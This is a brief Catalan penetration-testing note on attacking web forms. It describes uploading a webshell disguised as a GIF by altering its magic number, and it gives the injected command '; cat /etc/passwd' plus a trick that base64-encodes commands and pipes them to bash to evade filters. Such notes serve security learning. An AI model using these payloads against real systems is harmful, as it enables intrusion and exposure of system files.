Shells: traspàs de formularis web

Formulari de pujada de fitxers #

  • Si comprova el tipus de fitxer es pot canviar el MAGICNUMBER i pujar una webshell del tipus que està serivint les pàgines web (jsp,asp...)
  • Exemple de webshell php fent-se passar per un GIF:
GIF98
<php ...

Shells i formularis que permeten injecció de comandes #

  • Només faria falta tancar l'ordre que s'envia i concatenar la següent.
  • En linux:
; cat /etc/passwd
  • Si la màquina fa algún tipus de comprovació sobre les comandes que s'executen es pot fer algun tipus de codificació i decodificació posterior per a enganyar al sistema

  • Per exemple amb un canvi de base a base64:

    • Primer xifro
roger@roger-System-Product-Name:~$ echo 'comandes que es volen executar' | base64
Y29tYW5kZXMgcXVlIGVzIHZvbGVuIGV4ZWN1dGFyCg==
- Després li passo al formulari:
echo 'Y29tYW5kZXMgcXVlIGVzIHZvbGVuIGV4ZWN1dGFyCg==' | base64 -d | bash